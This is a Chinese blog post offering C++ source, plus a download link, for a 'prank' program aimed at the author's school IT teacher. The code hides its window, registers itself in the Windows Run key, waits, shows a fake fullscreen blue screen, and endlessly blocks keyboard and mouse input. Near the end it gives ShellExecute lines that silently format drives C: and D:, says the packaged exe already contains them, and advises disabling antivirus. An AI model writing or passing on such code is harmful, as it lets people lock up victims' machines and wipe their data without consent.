赞
踩
看不惯学校啰嗦的信息老师,闲着没事整整他,☺
首先介绍一下代码流程:
打开后:
隐藏窗口
注册启动项(开机自动启动)
等待10~24分钟
弹出EGE全屏无边窗口
绘制蓝屏图片(网上搜的,后来修整了一下),如下:
禁用键盘和鼠标
(格式化磁盘分区)
源码+图片+exe文件下载地址:文件下载-奶牛快传 Download |CowTransfer
注:(此程序要用到EGE图形库,不是EasyX,请自行下载EGE或自带EGE的小熊猫DEVc++,win10以上系统会报毒,请关闭安全设置)
EGE下载地址:Easy Graphics Engine
代码如下:
头文件:
- #include<graphics.h>//引用EGE图形库
- #include<stdio.h>
- #include<time.h>
- #include<stdlib.h>//引用随机库
- #include<windows.h>
隐藏窗口:
- int main()
- {
- HWND hwnd;//定义句柄变量
- hwnd=FindWindow("ConsoleWindowClass",NULL);//获取窗口句柄
- ShowWindow(hwnd,SW_HIDE);//隐藏窗口
设置启动项:
- HKEY Key;//定义注册表句柄
- long lRet=RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&Key);//打开注册表
- if (lRet==ERROR_SUCCESS)//当注册表成功打开
- {
- char filename[MAX_PATH];//定义字符数组,储存文件路径,MAX_PATH为文件路径的最大值260
- GetModuleFileName(NULL,filename,MAX_PATH);//获取文件路径,NULL表示本文件,filename为保存路径的数组,第三个参数为数组长度
- lRet=RegSetValueEx(Key,"xxx",0,REG_SZ,(BYTE*)filename,strlen(filename)+1);
- //添加注册表项,Key为注册表句柄,0为默认值,
- //REG_SZ为写入文件路径的数据类型,“xxx”为注册表名称
- //(BYTE*)filename为文件路径,strlen(filename)+1为路径长度,也可改为MAX_PATH,strlen(filename)为获取数组长度(从0开始)
- RegCloseKey(Key);//关闭注册表
- }
手动修改注册表方式:
按下win+r,输入regedit即可打开注册表
若要查找注册表项,按下Ctrl+f,输入注册表项名称或文件路径,即可查找
等待0~25分钟+EGE窗口操作:
- srand(time(NULL));//设置随机种子
- delay((rand()%15+10)*60*1000);//等待10~24分钟
- initgraph(0,0,INIT_NOBORDER|INIT_TOPMOST);//创建无边窗口,且总在最前,大小为0,0,INIT_NOBORDER|INIT_TOPMOST为窗口类型
- resizewindow(-1,-1);//修改窗口大小,改为全屏窗口
- PIMAGE blue=newimage(x,y);//定义图片角色,大小为屏幕分辨率
- PIMAGE temp=newimage();//定义临时图片
- getimage(temp,"blue.png");//给临时图片赋值
- putimage(blue,0,0,x,y,temp,0,0,getwidth(temp),getheight(temp));//给blue赋值图片,缩放为屏幕分辨率大小,平铺窗口
- putimage(0,0,blue);//放置图片
本来想创建项目(可以把图片保存为exe程序的资源文件)的,但是总是出现各种奇奇怪怪的问题,所以只保存为cpp文件(习惯了)
项目文件创建方式:
打开小熊猫c++,依次点击文件>新建>项目,
点击Basic,选择Empty Project(空项目)
把所有代码复制到c/cpp文件里,然后在项目里创建一个.rc文件(资源文件)
.rc文件编写:
例:
block PNG "block.png"
(资源文件名) (文件类型) (引用的图片路径)
资源文件图片获取方式:
例:
getimage(block,"PNG","block");
(图片角色) (文件类型) (资源文件名)
编译后用Visual Studio查看结果:
禁用键盘和鼠标:
- int x=GetSystemMetrics(SM_CXSCREEN);获取屏幕分辨率x
- int y=GetSystemMetrics(SM_CYSCREEN);获取屏幕分辨率y
- while(1)//无限循环
- {
- BlockInput(TRUE);//禁用键盘和鼠标
- SetCursorPos(x,y);//移动鼠标置(x,y)
- }
- }
如果想让程序具有危害,可加上以下代码格式化C盘和D盘(上面链接里的程序自带以下代码):
- ShellExecute(NULL, “open”, “format”," C: /q /u /y", NULL, SW_HIDE);
- ShellExecute(NULL, “open”, “format”," D: /q /u /y", NULL, SW_HIDE);
如果加入,请自行制作装机U盘;
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。